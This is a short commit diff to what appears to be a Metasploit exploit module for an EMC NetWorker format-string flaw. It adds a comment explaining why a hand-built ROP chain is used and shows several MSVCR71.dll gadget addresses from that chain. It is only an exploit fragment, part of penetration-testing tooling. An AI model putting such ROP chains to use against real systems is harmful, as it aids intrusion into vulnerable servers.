Merge remote branch 'jvazquez-r7/emc_networker_format_string'

todb · todb · commit 70d53b4e2d44 · 2012-11-05T16:03:56.000-06:00
diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb
@@ -86,6 +86,8 @@ def exploit
 				rop_gadgets =
 					[
 						# rop chain generated with mona.py
+						# The RopDb mixin isn't used because there are badchars
+						# which must be avoided
 						0x7c354dab,	# POP EBP # RETN [MSVCR71.dll]
 						0x7c354dab,	# skip 4 bytes [MSVCR71.dll]
 						0x7c37678f,	# POP EAX # RETN [MSVCR71.dll]

Original file line number	Diff line number	Diff line change
`@@ -86,6 +86,8 @@ def exploit`
`86`	`86`	`rop_gadgets =`
`87`	`87`	`[`
`88`	`88`	`# rop chain generated with mona.py`
	`89`	`+ # The RopDb mixin isn't used because there are badchars`
	`90`	`+ # which must be avoided`
`89`	`91`	`0x7c354dab, # POP EBP # RETN [MSVCR71.dll]`
`90`	`92`	`0x7c354dab, # skip 4 bytes [MSVCR71.dll]`
`91`	`93`	`0x7c37678f, # POP EAX # RETN [MSVCR71.dll]`